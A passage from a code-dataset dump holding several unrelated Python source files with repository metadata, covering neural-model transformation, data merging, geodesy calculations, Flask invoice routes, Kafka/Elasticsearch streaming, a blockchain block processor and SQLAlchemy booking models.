#\n # rename neuron\n #\n\n name_separator_str = \"__with_\"\n\n new_neuron_name = neuron.get_name() + name_separator_str + synapse.get_name()\n new_neuron.set_name(new_neuron_name)\n new_neuron.paired_synapse = new_synapse\n new_neuron.recursive_vars_used = []\n new_neuron._transferred_variables = []\n\n #\n # rename synapse\n #\n\n new_synapse_name = synapse.get_name() + name_separator_str + neuron.get_name()\n new_synapse.set_name(new_synapse_name)\n new_synapse.paired_neuron = new_neuron\n new_neuron.paired_synapse = new_synapse\n\n base_neuron_name = removesuffix(neuron.get_name(), FrontendConfiguration.suffix)\n base_synapse_name = removesuffix(synapse.get_name(), FrontendConfiguration.suffix)\n\n new_synapse.post_port_names = self.get_post_port_names(synapse, base_neuron_name, base_synapse_name)\n new_synapse.spiking_post_port_names = self.get_spiking_post_port_names(synapse, base_neuron_name,\n base_synapse_name)\n new_synapse.vt_port_names = self.get_vt_port_names(synapse, base_neuron_name, base_synapse_name)\n\n #\n # add modified versions of neuron and synapse to list\n #\n\n new_neuron.accept(ASTSymbolTableVisitor())\n new_synapse.accept(ASTSymbolTableVisitor())\n\n ASTUtils.update_blocktype_for_common_parameters(new_synapse)\n\n Logger.log_message(None, -1, \"Successfully constructed neuron-synapse pair \"\n + new_neuron.name + \", \" + new_synapse.name, None, LoggingLevel.INFO)\n\n return new_neuron, new_synapse\n\n def transform(self, models: Union[ASTNode, Sequence[ASTNode]]) -> Union[ASTNode, Sequence[ASTNode]]:\n for neuron_synapse_pair in self.get_option(\"neuron_synapse_pairs\"):\n neuron_name = neuron_synapse_pair[\"neuron\"]\n synapse_name = neuron_synapse_pair[\"synapse\"]\n neuron = ASTUtils.find_model_by_name(neuron_name + FrontendConfiguration.suffix, models)\n if neuron is None:\n raise Exception(\"Neuron used in pair (\\\"\" + neuron_name + \"\\\") not found\") # XXX: log error\n\n synapse = ASTUtils.find_model_by_name(synapse_name + FrontendConfiguration.suffix, models)\n if synapse is None:\n raise Exception(\"Synapse used in pair (\\\"\" + synapse_name + \"\\\") not found\") # XXX: log error\n\n new_neuron, new_synapse = self.transform_neuron_synapse_pair_(neuron, synapse)\n\n # Replace the original synapse model with the co-generated one\n model_idx = models.index(synapse)\n models[model_idx] = new_synapse\n models.append(new_neuron)\n\n return models\n","repo_name":"nest/nestml","sub_path":"pynestml/transformers/synapse_remove_post_port.py","file_name":"synapse_remove_post_port.py","file_ext":"py","file_size_in_byte":7543,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"62"} +{"seq_id":"23715983125","text":"\"\"\"\nMerge two conversation files into one\n\nUsage: python3 -m fastchat.data.merge --in file1.json file2.json --out merged.json\n\"\"\"\n\nimport argparse\nimport json\n\nfrom datasets import load_dataset\n\n\ndef json_load(in_file):\n with open(in_file, 'r') as f:\n json_data = json.load(f)\n return json_data\n\n\ndef json_dump(obj, path):\n with open(path, 'w', encoding='utf-8') as f:\n json.dump(obj, f, indent=2, ensure_ascii=False)\n\n\ndef merge_datasets(in_file_list, out_file):\n\n new_content = []\n for in_file in in_file_list:\n content = load_dataset('json', data_files=in_file)['train']\n\n print(f'in-file: {in_file}, len: {len(content)}')\n new_content.extend(content)\n\n print(f'#out: {len(new_content)}')\n print(f'Save new_content to {out_file}')\n json_dump(new_content, out_file)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--in-file', type=str, required=True, nargs='+')\n parser.add_argument('--out-file', type=str, default='merged.json')\n args = parser.parse_args()\n\n merge_datasets(args.in_file, args.out_file)\n","repo_name":"jianzhnie/Efficient-Tuning-LLMs","sub_path":"examples/format_data/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","stars":466,"dataset":"github-code","pt":"62"} +{"seq_id":"74044563397","text":"#!/usr/bin/env python3\n\nimport numpy as np\nfrom scipy.interpolate import interp1d\nfrom scipy.optimize import bisect\n\nglobal_line = 0\nglobal_mapping = None\n\ndef arc_seg (string) :\n ### compute arc (alpha) segments\n numb_node = string.shape[0]\n alpha_seg = np.zeros (numb_node)\n alpha_seg[0] = 0\n for jj in range (1, numb_node):\n alpha_seg[jj] = np.linalg.norm (string[jj] - string[jj-1])\n return alpha_seg\n\ndef arc (string) :\n ### compute arc parameter\n alpha_seg = arc_seg (string)\n alpha = np.cumsum (alpha_seg)\n return alpha\n\ndef arc_norm (string) :\n ### compute normalized arc parameter\n alpha = arc (string)\n alpha = alpha / alpha[-1]\n return alpha\n\ndef __solve_func (x) :\n return global_mapping(x) - global_line\n\ndef resample_string (string_,\n new_numb_node,\n weighting_ = [[0, 1], [1, 1]]) :\n string = string_\n global global_line\n global global_mapping\n \n # build the smth string\n alpha = arc_norm (string)\n smooth_str = interp1d (alpha, string, axis=0, kind=\"linear\")\n\n # smooth weight\n weighting = np.array(weighting_)\n smt_w = interp1d (weighting[:,0], (weighting[:,1]), axis=0, kind=\"linear\")\n\n # mapping points\n numb_resp = 101\n mapping_point = np.linspace (0, 1, numb_resp)\n weight_val = smt_w (mapping_point)\n mapping_cum = np.linspace (0, 1, numb_resp)\n for ii in range (1,numb_resp) :\n mapping_cum[ii] = 0.5 * (weight_val[ii] + weight_val[ii-1]) \n mapping_cum = np.cumsum (mapping_cum)\n mapping_cum = mapping_cum / mapping_cum[-1]\n mapping = interp1d (mapping_point, mapping_cum, axis=0, kind=\"cubic\")\n global_mapping = mapping\n \n # build new string\n alpha_eq = np.linspace (0, 1, new_numb_node)\n alpha_new = np.linspace (0, 1, new_numb_node)\n for ii in range(alpha_eq.shape[0]) :\n if (ii == 0) :\n alpha_new[ii] = 0\n else :\n if (ii == alpha_eq.shape[0] - 1): \n alpha_new[ii] = 1\n else :\n global_line = alpha_eq[ii]\n alpha_new[ii] = bisect (__solve_func, 0, 1)\n return smooth_str (alpha_new) \n \n","repo_name":"amcadmus/ice.melting","sub_path":"templates/string/StringUtils.py","file_name":"StringUtils.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"42172562708","text":"\n#import tkinter as tk\n#from tkinter import filedialog\nimport math\nimport numpy as np\n# import time as t\n# import imageio\nfrom geo_objects import Ellipsoid, GeoPoint, ECEFPoint\n \n \ndef xyz2grids(xyz_file_path):\n \"\"\"\n Converts an xyz file to 3 proper numpy grids.\n Saves the corresponding grids as '.npy' files.\n \n @type xyz_file_path: str\n @param xyz_file_path: A path to a xyz file. \n Expected line format: ,,\n \"\"\" \n xyz_file = open(xyz_file_path) \n lon, lat, und = list(), list(), list()\n # TO BE CONTINUED FROM HERE!!!\n # fill the lists with values\n while True:\n line = xyz_file.readline()\n if not line:\n break\n line_vals = line.split(',')\n lon.append(float(line_vals[0]))\n lat.append(float(line_vals[1]))\n und.append(float(line_vals[2]))\n del line, line_vals\n xyz_file.close()\n # convert lists to numpy arrays\n lon = np.asarray(lon)\n lat = np.asarray(lat)\n und = np.asarray(und)\n # calculate the output grids dimensions\n n = np.unique(lon).size\n m = np.unique(lat).size\n # reshape the numpy arrays to grids\n lon_grid = np.reshape(lon, (n,m))\n lon_grid = np.transpose(lon_grid)\n np.save(\"lon_grid.npy\", lon_grid)\n \n lat_grid = np.reshape(lat, (n,m))\n lat_grid = np.transpose(lat_grid)\n np.save(\"lat_grid.npy\", lat_grid)\n \n und_grid = np.reshape(und, (n,m))\n und_grid = np.transpose(und_grid)\n np.save(\"und_grid.npy\", und_grid)\n \n return None\n\n\ndef dov_grids(lon_grid, lat_grid, und_grid):\n \"\"\"\n \n \"\"\"\n (m, n) = und_grid.shape\n \n xi_grid = np.empty((m - 2, n - 2), dtype=float)\n eta_grid = np.empty((m - 2, n - 2), dtype=float)\n \n print('DOV grids processing status:')\n for i in range(1, m - 1): \n for j in range(1, n - 1): \n # calc of the DOV in the North direction, Xi\n p_here = geo2utm(math.radians(lon_grid[i, j]), \n math.radians(lat_grid[i, j]), \n \"WGS84\")\n p_north = geo2utm(math.radians(lon_grid[i - 1, j]), \n math.radians(lat_grid[i - 1, j]), \n \"WGS84\")\n\n d_north = distUTM(p_here, p_north)\n d_und_north = und_grid[i - 1, j] - und_grid[i, j] \n xi_grid[i - 1, j - 1] = math.degrees(-d_und_north / d_north) * 3600\n \n # calc of the DOV in the East direction, Eta\n p_east = geo2utm(math.radians(lon_grid[i, j + 1]), \n math.radians(lat_grid[i, j + 1]), \n \"WGS84\")\n \n d_east = distUTM(p_here, p_east)\n d_und_east = und_grid[i, j + 1] - und_grid[i, j] \n eta_grid[i - 1, j - 1] = math.degrees(-d_und_east / d_east) * 3600\n\n if i % 409 == 0:\n print(int(i/(m-2)*100), end='%.. ')\n print('100%!\\nDOV grids ready! saved them as xi_grid.npy and eta_grid.npy')\n np.save(\"xi_grid.npy\", xi_grid)\n np.save(\"eta_grid.npy\", eta_grid)\n\n\ndef grid_bilinear_interp(x_mesh_grid, y_mesh_grid, z_grid, points):\n \"\"\"\n Calculate the z value of input points inside the grid using bilinear interpolation\n \n Args:\n x_mesh_grid (numpy 2d array): a mesh grid of the x-longitude values (top = high, bot = low)\n y_mesh_grid (numpy 2d array): a mesh grid of the y-latitude values (right = high, left = low)\n z_grid (numpy 2d array): a grid of the z values\n points (list) of (tuple): a list of points inside the grid for which we want\n to calculate z value.\n required format: [(x1,y1), (x2, y2), ...(xn, yn)]\n \n Returns:\n interp_z (list): a list of the interpolated z values for the input points\n \"\"\"\n # initiate returned list\n interp_z = []\n # get input grid size\n (m, n) = z_grid.shape\n # interpolate z val for input points\n for k in range(len(points)):\n (x, y) = (points[k][0], points[k][1])\n # find the 4 surrounding grid points\n for i in range(m):\n if(y < y_mesh_grid[i, 0]):\n continue\n else:\n y1 = y_mesh_grid[i, 0]\n y2 = y_mesh_grid[i-1, 0]\n break\n for j in range(n): \n if(x > x_mesh_grid[0, j]):\n continue\n else:\n x1 = x_mesh_grid[0, j-1]\n x2 = x_mesh_grid[0, j]\n break\n \n q11 = z_grid[i, j-1] # x1, y1\n q12 = z_grid[i-1, j-1] # x1, y2\n q21 = z_grid[i, j] # x2, y1\n q22 = z_grid[i-1, j] # x2, y2\n \n fxy1 = (x2-x)/(x2-x1)*q11 + (x-x1)/(x2-x1)*q21\n fxy2 = (x2-x)/(x2-x1)*q12 + (x-x1)/(x2-x1)*q22\n fxy = (y2-y)/(y2-y1)*fxy1 + (y-y1)/(y2-y1)*fxy2\n # print(\"x1:\", x1, \"x:\", x, \"x2:\", x2)\n # print(\"y1:\", y1, \"y:\", y, \"y2:\", y2)\n # print(\"Q11:\", q11, \"Q12:\", q12, \"Q21:\", q21, \"Q22:\", q22)\n # print(\"interpolated z:\", fxy,'\\n')\n interp_z.append(fxy)\n \n return interp_z\n\n# ask user to select the xyz file\n# root = tk.Tk()\n# xyz_file_path = filedialog.askopenfilename(filetypes = [(\"XYZ File\", \".xyz\")])\n# root.withdraw()\n# create grids and save them as npy files\n# xyz2grids(xyz_file_path)\n\n\n# display grids\n# und_grid_norm = (und_grid - und_grid.min())/(und_grid.max() - und_grid.min())\n# und_grid_norm = 255*und_grid_norm\n# und_grid_uint8 = und_grid_norm.astype(np.uint8)\n# imageio.imwrite('und.tiff',und_grid_uint8)\n\n# load grids\nlon_grid = np.load(\"lon_grid.npy\")\nlat_grid = np.load(\"lat_grid.npy\")\nund_grid = np.load(\"und_grid.npy\")\n\n# create DOV grids\n# dov_grids(lon_grid, lat_grid, und_grid)\n\n\n# load DOV grids\nxi_grid = np.load(\"xi_grid.npy\")\neta_grid = np.load(\"eta_grid.npy\")\n\n# load Laplas stations data - laplace points geographic and astronomic position\npoints_geo_pos = []\npoints_astro_pos = []\npoints_id = []\nwith open(\"laplace_stations.csv\", 'r') as f:\n while True:\n line = f.readline()\n if not line:\n break\n vals = line.split(',')\n points_id.append(vals[0])\n \n lon_geo = float(vals[1]) + float(vals[2]) / 60 + float(vals[3]) / 3600\n lat_geo = float(vals[4]) + float(vals[5]) / 60 + float(vals[6]) / 3600\n points_geo_pos.append([lon_geo, lat_geo])\n \n lon_astro = float(vals[7]) + float(vals[8]) / 60 + float(vals[9]) / 3600\n lat_astro = float(vals[10]) + float(vals[11]) / 60 + float(vals[12]) / 3600\n points_astro_pos.append([lon_astro, lat_astro])\n del line, vals, lon_geo, lat_geo, lon_astro, lat_astro\n\n# calculate xi and eta by astronomic and geodetic coordinates\n# xi = astro_lat - geo_lat\n# eta = (astro_lon - geo_lon) * cos(astro_lat) \npoints_laplace_xi = []\npoints_laplace_eta = []\nfor k in range(len(points_geo_pos)):\n astro_lon = points_astro_pos[k][0]\n geo_lon = points_geo_pos[k][0]\n astro_lat = points_astro_pos[k][1]\n geo_lat = points_geo_pos[k][1]\n xi = (astro_lat - geo_lat) * 3600\n eta = (astro_lon - geo_lon) * math.cos(math.radians(astro_lat)) * 3600\n points_laplace_xi.append(xi)\n points_laplace_eta.append(eta)\ndel astro_lon, astro_lat, geo_lon, geo_lat, xi, eta\n\n# calculate xi and eta by interpolation on our generated xi and eta grids\npoints_model_xi = grid_bilinear_interp(lon_grid[1 : -1, 1 : -1], \n lat_grid[1 : -1, 1 : -1], \n xi_grid, \n points_geo_pos)\n\npoints_model_eta = grid_bilinear_interp(lon_grid[1 : -1, 1 : -1], \n lat_grid[1 : -1, 1 : -1], \n eta_grid, \n points_geo_pos)\n\n# make a comparison csv file to show the differences between our \n# model xi and eta and the calculated xi and eta\nwith open(\"model_vs_laplace.csv\", 'w') as f:\n header = ','.join(['id', 'lon', 'lat', 'model xi', 'model eta', 'laplace xi', 'laplace eta', 'xi diff', 'eta diff']) + '\\n'\n f.write(header)\n for k in range(len(points_id)):\n pid = points_id[k]\n lon = str(round(points_geo_pos[k][0], 8))\n lat = str(round(points_geo_pos[k][1], 8))\n laplace_xi = str(round(points_laplace_xi[k], 1))\n laplace_eta = str(round(points_laplace_eta[k], 1))\n model_xi = str(round(points_model_xi[k], 1))\n model_eta = str(round(points_model_eta[k], 1))\n diff_xi = str(round(points_model_xi[k] - points_laplace_xi[k], 1))\n diff_eta = str(round(points_model_eta[k] - points_laplace_eta[k], 1))\n line = ','.join([pid, lon, lat, model_xi, model_eta, laplace_xi, laplace_eta, diff_xi, diff_eta]) + '\\n'\n f.write(line)\n","repo_name":"nirolada/isr-dov-model","sub_path":"dov_calc.py","file_name":"dov_calc.py","file_ext":"py","file_size_in_byte":8910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27739047671","text":"import timeit\nstart_time = timeit.default_timer()\n\nimport os\n\ndef file_menager(file_to_process):\n with open(file_to_process, 'r') as file_to_process:\n file_to_process = file_to_process.read()\n return file_to_process\n\n'''\nNotka:\nfiles_to_process = [\n r\"os.getcwd().__add__('\\math_sin_square.py'), # W metodzie eval działa, ale nie w funkcji - co jest dziwne.\n os.getcwd() + '\\math_square_root.py' # Takie cos działa i jest od razu rozumiane przez program - nie trzeba robić .join\n ]\n\nCo ciekawe nie trzeba zmieniać \\ na / żeby działało na macOS\n'''\n\nfiles_to_process = [\n os.getcwd() + '/math_sin_square.py',\n os.getcwd() + '/math_square_root.py'\n ]\nfor _ in files_to_process:\n x = file_menager(_)\n exec(x)\n\nend_time = timeit.default_timer()\nprint(\"Czas wykonania: \", end_time - start_time, \"sekund.\")","repo_name":"fabinQ/Python_Lab_Course_Intermediate","sub_path":"Dział 3/LAB Exec.py","file_name":"LAB Exec.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27728978928","text":"from uuid import uuid4 as uuid\nfrom datetime import datetime\nfrom flask import Blueprint, render_template, request, redirect, url_for, send_file\nfrom src.models.invoice import Invoice, Task\nfrom src.models.customer import Customer\nfrom src.reports.invoice import InvoiceReportGenerator\nimport src.data_utils as du\n\n\n\nroutes = Blueprint('invoice', __name__, url_prefix='/invoices')\n\n\n@routes.route('/', methods=['GET'])\ndef show(invoice_id):\n invoice = Invoice.get_one(invoice_id)\n customers = Customer.scan()\n invoice = du.left_join([invoice], 'customer_id', customers, 'id', ['name'])[0]\n return render_template(\n 'invoice.html',\n invoice=invoice\n )\n\n\n@routes.route('/new', methods=['GET'])\ndef new():\n return render_template(\n 'new_invoice.html',\n customers=Customer.scan()\n )\n\n\n@routes.route('', methods=['POST'])\ndef create():\n tasks = [\n Task(\n date=request.form.get(f'task{i}_date'),\n hours=float(request.form.get(f'task{i}_hours')),\n description=request.form.get(f'task{i}_description'),\n rate=float(request.form.get(f'task{i}_rate'))\n ) for i in range(7) if request.form.get(f'task{i}_hours') != ''\n ]\n new_invoice = Invoice(\n id=str(uuid()),\n number=int(request.form.get('invoice_number')),\n customer_id=request.form.get('customer_select'),\n issued_on=datetime.now(),\n total=sum([t.hours * t.rate for t in tasks]),\n tasks=[t.__dict__ for t in tasks]\n )\n new_invoice.save()\n return redirect(url_for('index.index'))\n\n\n@routes.route('/', methods=['POST'])\ndef update():\n invoice = Invoice.get(invoice_id)\n tasks = [\n Task(\n date=request.form.get(f'task{i}_date'),\n hours=float(request.form.get(f'task{i}_hours')),\n description=request.form.get(f'task{i}_description'),\n rate=float(request.form.get(f'task{i}_rate'))\n ) for i in range(7) if request.form.get(f'task{i}_hours') != ''\n ]\n invoice.number = int(request.form.get('invoice_number')),\n invoice.customer_id = request.form.get('customer_select'),\n invoice.issued_on = datetime.now(),\n invoice.total = sum([t.hours * t.rate for t in tasks]),\n invoice.tasks = [t.__dict__ for t in tasks]\n invoice.save()\n\n return redirect(url_for('index.index'))\n\n\n@routes.route('//archive', methods=['POST'])\ndef mark_archived(invoice_id):\n invoice = Invoice.get_one(invoice_id)\n invoice.set_attributes(archived=True)\n return redirect(request.referrer)\n\n\n@routes.route('//paid', methods=['POST'])\ndef mark_paid(invoice_id):\n invoice = Invoice.get_one(invoice_id)\n invoice.set_attributes(paid_on=datetime.now())\n return redirect(request.referrer)\n\n\n@routes.route('//delete', methods=['POST'])\ndef delete_invoice(invoice_id):\n invoice = Invoice.get_one(invoice_id)\n return_url = 'archive.archive' if invoice.archived else 'index.index'\n invoice.delete()\n return redirect(url_for(return_url))\n\n\n@routes.route('//download', methods=['POST'])\ndef download_invoice(invoice_id):\n invoice = Invoice.get_one(invoice_id)\n i = InvoiceReportGenerator(invoice)\n report = i.write_report()\n return send_file(report[1], attachment_filename=report[0], as_attachment=True)\n","repo_name":"spmassot/keeptrack","sub_path":"app/views/invoice.py","file_name":"invoice.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"13432492415","text":"#!/usr/bin/env python3\nfrom kafka import KafkaConsumer\nfrom json import loads\nfrom elasticsearch import Elasticsearch,helpers\nfrom time import sleep\n\n## Elasticsearch Connection\nes = Elasticsearch(hosts=\"http://localhost:9699/\",timeout=50) \n\n## Subscribe a topic \"productViews\" \nconsumer = KafkaConsumer(\n 'productView',\n bootstrap_servers=['localhost:9092'], ## bootstrap server\n auto_offset_reset='earliest', ##from beginning\n enable_auto_commit=True,\n group_id='my-group',\n value_deserializer=lambda x: loads(x.decode('utf-8')))\n\n\n## message to ES\nfor message in consumer:\n message = message.value\n \n userid=message['userid']\n productid=message['properties']['productid']\n timestamp=message['timestamp']\n \n data={\n \"userid\":userid,\n \"product\":productid,\n \"timestamp\":timestamp\n }\n\n res = es.index(index='historybrowsing',id=int(timestamp)+100,body=data) ## send json the index \"browsinghistory\"\n","repo_name":"dogukannefis-py/recommendation-engine","sub_path":"scripts/viewScripts/stream_reader.py","file_name":"stream_reader.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"23966709865","text":"import logging\n\nfrom celery import shared_task\n\nfrom nodeconductor.openstack.backend import OpenStackBackendError\nfrom nodeconductor.openstack.models import Instance\n\nlogger = logging.getLogger(__name__)\n\n\n# XXX: This task should be replaced with executor\n@shared_task(name='nodeconductor.openstack.assign_floating_ip')\ndef assign_floating_ip(instance_uuid, floating_ip_uuid):\n instance = Instance.objects.get(uuid=instance_uuid)\n floating_ip = instance.service_project_link.floating_ips.get(uuid=floating_ip_uuid)\n backend = instance.cloud.get_backend()\n\n try:\n backend.assign_floating_ip_to_instance(instance, floating_ip)\n except OpenStackBackendError:\n logger.warning(\"Failed to assign floating IP to the instance with id %s.\", instance_uuid)\n","repo_name":"amir17688/google_dataset","sub_path":"floating_ip.py","file_name":"floating_ip.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"74128080836","text":"import time\n\nfrom torba.server.block_processor import BlockProcessor\n\nfrom lbry.schema.claim import Claim\nfrom lbry.wallet.server.db.writer import SQLDB\n\n\nclass Timer:\n\n def __init__(self, name):\n self.name = name\n self.total = 0\n self.count = 0\n self.sub_timers = {}\n self._last_start = None\n\n def add_timer(self, name):\n if name not in self.sub_timers:\n self.sub_timers[name] = Timer(name)\n return self.sub_timers[name]\n\n def run(self, func, *args, forward_timer=False, timer_name=None, **kwargs):\n t = self.add_timer(timer_name or func.__name__)\n t.start()\n try:\n if forward_timer:\n return func(*args, **kwargs, timer=t)\n else:\n return func(*args, **kwargs)\n finally:\n t.stop()\n\n def start(self):\n self._last_start = time.time()\n return self\n\n def stop(self):\n self.total += (time.time() - self._last_start)\n self.count += 1\n self._last_start = None\n return self\n\n def show(self, depth=0, height=None):\n if depth == 0:\n print('='*100)\n if height is not None:\n print(f'STATISTICS AT HEIGHT {height}')\n print('='*100)\n else:\n print(\n f\"{' '*depth} {self.total/60:4.2f}mins {self.name}\"\n # f\"{self.total/self.count:.5f}sec/call, \"\n )\n for sub_timer in self.sub_timers.values():\n sub_timer.show(depth+1)\n if depth == 0:\n print('='*100)\n\n\nclass LBRYBlockProcessor(BlockProcessor):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n if self.env.coin.NET == \"regtest\":\n self.prefetcher.polling_delay = 0.5\n self.should_validate_signatures = self.env.boolean('VALIDATE_CLAIM_SIGNATURES', False)\n self.logger.info(f\"LbryumX Block Processor - Validating signatures: {self.should_validate_signatures}\")\n self.sql: SQLDB = self.db.sql\n self.timer = Timer('BlockProcessor')\n\n def advance_blocks(self, blocks):\n self.sql.begin()\n try:\n self.timer.run(super().advance_blocks, blocks)\n except:\n self.logger.exception(f'Error while advancing transaction in new block.')\n raise\n finally:\n self.sql.commit()\n\n def advance_txs(self, height, txs, header):\n timer = self.timer.sub_timers['advance_blocks']\n undo = timer.run(super().advance_txs, height, txs, header, timer_name='super().advance_txs')\n timer.run(self.sql.advance_txs, height, txs, header, self.daemon.cached_height(), forward_timer=True)\n if (height % 10000 == 0 or not self.db.first_sync) and self.logger.isEnabledFor(20):\n self.timer.show(height=height)\n return undo\n\n def _checksig(self, value, address):\n try:\n claim_dict = Claim.from_bytes(value)\n cert_id = claim_dict.signing_channel_hash\n if not self.should_validate_signatures:\n return cert_id\n if cert_id:\n cert_claim = self.db.get_claim_info(cert_id)\n if cert_claim:\n certificate = Claim.from_bytes(cert_claim.value)\n claim_dict.validate_signature(address, certificate)\n return cert_id\n except Exception:\n pass\n","repo_name":"braveheart12/lbry-sdk","sub_path":"lbry/lbry/wallet/server/block_processor.py","file_name":"block_processor.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1834352885","text":"from sqlalchemy import (\n Integer,\n String,\n ForeignKey,\n Date,\n Float,\n)\nfrom sqlalchemy.orm import Mapped, mapped_column, DeclarativeBase\n\n\nclass Base(DeclarativeBase):\n pass\n\n\nclass User(Base):\n __tablename__ = \"users\"\n\n id: Mapped[int] = mapped_column(primary_key=True, autoincrement=True)\n username: Mapped[str] = mapped_column(String(30), unique=True, nullable=False)\n password: Mapped[str] = mapped_column(String(30), nullable=False)\n email: Mapped[str] = mapped_column(String(50), unique=True, nullable=False)\n phone_number: Mapped[int] = mapped_column(Integer)\n first_name: Mapped[str] = mapped_column(String(30), nullable=False)\n last_name: Mapped[str] = mapped_column(String(30), nullable=False)\n birth_date = mapped_column(Date, nullable=False)\n address: Mapped[str] = mapped_column(String(150))\n cpf: Mapped[str] = mapped_column(String(11), unique=True, nullable=False)\n\n def __repr__(self) -> str:\n return f\"\"\"\n User(id={self.id!r},\n username={self.username!r},\n password={self.password!r},\n email={self.email!r},\n phone_number={self.phone_number!r},\n first_name={self.first_name!r},\n last_name={self.last_name!r},\n birth_date={self.birth_date!r},\n address={self.address!r},\n cpf={self.cpf!r})\n \"\"\"\n\n\nclass Hotel(Base):\n __tablename__ = \"hotels\"\n\n hotel_id: Mapped[int] = mapped_column(primary_key=True, autoincrement=True)\n hotel_name: Mapped[str] = mapped_column(String(50), nullable=False)\n address: Mapped[str] = mapped_column(String(150), nullable=False)\n cep: Mapped[str] = mapped_column(String(8), nullable=False)\n phone_number: Mapped[int] = mapped_column(Integer, nullable=False)\n description: Mapped[str] = mapped_column(String(500), nullable=False)\n\n def __repr__(self) -> str:\n return f\"\"\"\n Hotel(hotel_id={self.hotel_id!r},\n hotel_name={self.hotel_name!r},\n address={self.address!r},\n cep={self.cep!r},\n phone_number={self.phone_number!r},\n description={self.description!r})\n \"\"\"\n\n\nclass Room(Base):\n __tablename__ = \"rooms\"\n\n room_id: Mapped[int] = mapped_column(primary_key=True, autoincrement=True)\n hotel_id: Mapped[int] = mapped_column(ForeignKey(\"hotels.hotel_id\"), nullable=False)\n type: Mapped[str] = mapped_column(String(50), nullable=False)\n price: Mapped[float] = mapped_column(Float, nullable=False)\n description: Mapped[str] = mapped_column(String(500), nullable=False)\n max_customers: Mapped[int] = mapped_column(Integer, nullable=False)\n total_rooms: Mapped[int] = mapped_column(Integer, nullable=False)\n\n def __repr__(self) -> str:\n return f\"\"\"\n Room(room_id={self.room_id!r},\n hotel_id={self.hotel_id!r},\n type={self.type!r},\n price={self.price!r},\n description={self.description!r},\n max_customers={self.max_customers!r},\n total_rooms={self.total_rooms!r})\n \"\"\"\n\n\nclass Booking(Base):\n __tablename__ = \"bookings\"\n\n booking_id: Mapped[int] = mapped_column(primary_key=True, autoincrement=True)\n user_id: Mapped[int] = mapped_column(ForeignKey(\"users.id\"), nullable=False)\n room_id: Mapped[int] = mapped_column(ForeignKey(\"rooms.room_id\"), nullable=False)\n check_in: Mapped[Date] = mapped_column(Date, nullable=False)\n check_out: Mapped[Date] = mapped_column(Date, nullable=False)\n total_price: Mapped[float] = mapped_column(Float, nullable=False)\n total_nights: Mapped[int] = mapped_column(Integer, nullable=False)\n total_customers: Mapped[int] = mapped_column(Integer, nullable=False)\n status: Mapped[str] = mapped_column(String(50), nullable=False)\n\n def __repr__(self) -> str:\n return f\"\"\"\n Booking(booking_id={self.booking_id!r},\n user_id={self.user_id!r},\n room_id={self.room_id!r},\n hotel_id={self.hotel_id!r},\n check_in={self.check_in!r},\n check_out={self.check_out!r},\n total_price={self.total_price!r},\n total_nights={self.total_nights!r},\n total_customers={self.total_customers!r},\n status={self.status!r})\n \"\"\"\n\n\n# if __name__ == \"__main__\":\n# from sqlalchemy import create_engine\n\n# engine = create_engine(\n# \"postgresql+psycopg2://postgres:postgres@172.18.0.3:5432/postgres\"\n# )\n\n# print(engine.connect())\n# Base.metadata.create_all(engine)\n","repo_name":"lukasallegretti/ReserveSpot","sub_path":"src/model/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":4583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3235969404","text":"# -*- coding: utf-8 -*-\nimport pandas as pd\nimport numpy as np\n\n\n# サンプルデータを読み込み\ndf_wine = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data', header=None)\n\n# 列名を取得\ndf_wine.columns = ['Class label', 'Alcohol', 'Malic acid', 'ash',\n 'Alcalinity of ash', 'Magnesium', 'Total phenols', 'Flavanoids',\n 'Nonflavanoid phenols', 'proanthocyanins', 'Color intensity', 'Hue',\n 'OD280/OD315 of diluted wines', 'Proline']\n\n# クラスラベルを表示\nprint('Class labels', np.unique(df_wine['Class label']))\n\n# 表示\ndf_wine.head()\ndf_wine.to_csv('df_wine.csv')\n","repo_name":"mkomatsu-0223/Study_Machine-Learning","sub_path":"Chapter4/4.3-1_python.py","file_name":"4.3-1_python.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14433315060","text":"\"\"\"\n Draw_feature_importance_testing.py\ndate: 25-Jun-2021\n author: L.Zhang\nContact: leojayak@gmail.com\n-------------------------------------\nDescription: \n\"\"\"\n# libraries\nimport os\nimport netCDF4 as nc\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom pylab import hist2d\n\n# Set the working path\nwork_path = r'a:\\Thesis_Data\\L2_RF\\RF_Train_Test'\nos.chdir(work_path)\nfile_feature0 = 'Feature_importance.nc'\nfile_feature1 = 'Feature_importance_geo.nc'\n\n\ndef read_nc(file):\n nc_feature = nc.Dataset(file, 'r')\n features_list = nc_feature['features_list'][:]\n importances = nc_feature['importances']\n std = nc_feature['std'][:]\n indices = nc_feature['indices'][:]\n rmse = nc_feature['rmse'][:]\n r2 = nc_feature['r2'][:]\n r = nc_feature['r'][:]\n predictions = nc_feature['predications']\n in_situ = nc_feature['in-situ']\n\n # Sorted feature list.\n features_list_new = features_list.copy()\n for idx in np.arange(len(features_list)):\n features_list_new[idx] = 